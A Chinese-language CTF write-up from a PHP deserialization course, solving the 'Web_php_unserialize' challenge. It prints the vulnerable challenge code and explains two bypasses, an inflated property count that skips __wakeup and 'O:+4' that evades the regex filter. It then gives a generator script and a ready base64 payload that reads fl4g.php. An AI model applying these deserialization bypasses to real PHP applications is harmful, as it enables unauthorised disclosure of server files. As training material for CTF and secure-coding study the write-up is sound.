PHP反序列化CTF-Web_php_unserialize

课程：
PHP反序列化渗透与防御  7-绕过方式
https://www.mashibing.com/study?courseNo=719&sectionNo=106250

# 题目代码
wakeup.php

```
<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>
```

# PHP版本要求
在PHP 5.2.17nts版本中复现成功

![](/media/202603/2026-03-02_132649_6398630.9120766570824735.png)

# payload

绕过__wakeup：
发现__ destruct函数的功能是显示我们传入的文件内容，但__wakeup函数会将file参数指向index.php，所以我们要绕过这个函数（使这个函数不执行），正常序列化结果`“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”`，当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。为了绕过__wakeup()，我们将1改为任意大于1的都行，如`“O:4:“Demo”:2:{s:10:“Demofile”;s:8:“fl4g.php”;}”`

绕过正则匹配：
preg_match('/[oc]:\d+:/i', $var)表示匹配o或c加冒号加任意数字的形式，为了绕过，我们可以将`“O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”`中的4改为+4:`“O:+4:“Demo”:3:{s:10:“Demofile”;s:8:“fl4g.php”;}”`,然后对其进行base64编码

```
<?php 
class Demo { 
    private $file = 'fl4g.php';
}
$x= serialize(new Demo);
$x=str_replace('O:4', 'O:+4',$x);//绕过preg_match()
$x=str_replace(':1:', ':3:',$x);//绕过__wakeup()
echo base64_encode($x);
?>
```

得payload为
`?var=TzorNDoiRGVtbyI6Mzp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==`

关联问题:
https://www.mashibing.com/question/detail/118702